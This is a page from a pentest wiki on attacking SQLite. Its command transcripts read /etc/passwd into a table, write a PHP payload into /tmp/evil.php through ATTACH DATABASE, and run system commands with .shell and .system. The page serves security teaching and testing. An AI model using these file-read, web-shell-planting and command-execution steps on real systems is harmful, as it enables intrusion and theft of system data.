2.Vulnerability-Assessment/Database-Assessment/sqlite/sqlite_hacking.md · 小义的爸爸/pentest-wiki

**Authors**: < [nixawk](https://github.com/nixawk) >

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#SQLITE HACKING#

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##CONNECT TO DATABASE##

Let's start with typing a simple sqlite3 command at command prompt which will provide you SQLite command prompt where you will issue various SQLite commands.

```
┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ sqlite3 temp.db
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
sqlite> .help
.backup ?DB? FILE      Backup DB (default "main") to FILE
.bail on|off           Stop after hitting an error.  Default OFF
.binary on|off         Turn binary output on or off.  Default OFF
.clone NEWDB           Clone data into NEWDB from the existing database
.databases             List names and files of attached databases
.dbinfo ?DB?           Show status information about the database
.dump ?TABLE? ...      Dump the database in an SQL text format
                         If TABLE specified, only dump tables matching
                         LIKE pattern TABLE.
.echo on|off           Turn command echo on or off
.eqp on|off            Enable or disable automatic EXPLAIN QUERY PLAN
.exit                  Exit this program
.explain ?on|off?      Turn output mode suitable for EXPLAIN on or off.
                         With no args, it turns EXPLAIN on.
.fullschema            Show schema and the content of sqlite_stat tables
.headers on|off        Turn display of headers on or off
.help                  Show this message
.import FILE TABLE     Import data from FILE into TABLE
.indexes ?TABLE?       Show names of all indexes
                         If TABLE specified, only show indexes for tables
                         matching LIKE pattern TABLE.
.limit ?LIMIT? ?VAL?   Display or change the value of an SQLITE_LIMIT
.load FILE ?ENTRY?     Load an extension library
.log FILE|off          Turn logging on or off.  FILE can be stderr/stdout
.mode MODE ?TABLE?     Set output mode where MODE is one of:
                         ascii    Columns/rows delimited by 0x1F and 0x1E
                         csv      Comma-separated values
                         column   Left-aligned columns.  (See .width)
                         html     HTML <table> code
                         insert   SQL insert statements for TABLE
                         line     One value per line
                         list     Values delimited by .separator strings
                         tabs     Tab-separated values
                         tcl      TCL list elements
.nullvalue STRING      Use STRING in place of NULL values
.once FILENAME         Output for the next SQL command only to FILENAME
.open ?FILENAME?       Close existing database and reopen FILENAME
.output ?FILENAME?     Send output to FILENAME or stdout
.print STRING...       Print literal STRING
.prompt MAIN CONTINUE  Replace the standard prompts
.quit                  Exit this program
.read FILENAME         Execute SQL in FILENAME
.restore ?DB? FILE     Restore content of DB (default "main") from FILE
.save FILE             Write in-memory database into FILE
.scanstats on|off      Turn sqlite3_stmt_scanstatus() metrics on or off
.schema ?TABLE?        Show the CREATE statements
                         If TABLE specified, only show tables matching
                         LIKE pattern TABLE.
.separator COL ?ROW?   Change the column separator and optionally the row
                         separator for both the output mode and .import
.shell CMD ARGS...     Run CMD ARGS... in a system shell
.show                  Show the current values for various settings
.stats on|off          Turn stats on or off
.system CMD ARGS...    Run CMD ARGS... in a system shell
.tables ?TABLE?        List names of tables
                         If TABLE specified, only list tables matching
                         LIKE pattern TABLE.
.timeout MS            Try opening locked tables for MS milliseconds
.timer on|off          Turn SQL timer on or off
.trace FILE|off        Output each SQL statement as it is run
.vfsname ?AUX?         Print the name of the VFS stack
.width NUM1 NUM2 ...   Set column widths for "column" mode
                         Negative values right-justify

```

----

##GENERATE##

Common sqlite features (comments, concate, substr, hex, quote, .... )

```
sqlite> select 1; -- comments
1
sqlite> select 'hello ' || 'world';
hello world
sqlite> select substr('hello world', 1, 3);
hel
sqlite> select hex('a');
61
sqlite> select quote(hex('a'));
'61'
sqlite> PRAGMA database_list;
0|main|/tmp/evil.php
2|pwn|/tmp/evil.php
sqlite> PRAGMA temp_store_directory = '/tmp';
sqlite>

```

----

##READ FILE##

```
sqlite>
sqlite> CREATE TABLE pwn.data (data TEXT);
sqlite> .tables
data      pwn.data
sqlite> .import /etc/passwd data
sqlite> select * from data;
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
......
......
sqlite> .tables
data       pwn.data   pwn.shell  shell    
sqlite> DROP TABLE pwn.shell;
```

----

##WRITE FILE##

```
sqlite> ATTACH DATABASE '/tmp/evil.php' as pwn;
sqlite> CREATE TABLE pwn.shell (code TEXT);
sqlite> INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo();?>');
sqlite> .quit
┌─[✗]─[lab@core]─[~/share/pentestlab/Darknet]
└──╼  file /tmp/evil.php
/tmp/evil.php: SQLite 3.x database
┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼  strings /tmp/evil.php
SQLite format 3
Itableshellshell
CREATE TABLE shell (code TEXT)
1<?php phpinfo();?>
```

----

##COMMAND EXECUTION##

```
sqlite> .shell id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
sqlite> .system id
uid=1000(lab) gid=1000(lab) groups=1000(lab)

```

----

#REFERENCES#

http://www.tutorialspoint.com/sqlite/  
http://atta.cked.me/home/sqlite3injectioncheatsheet

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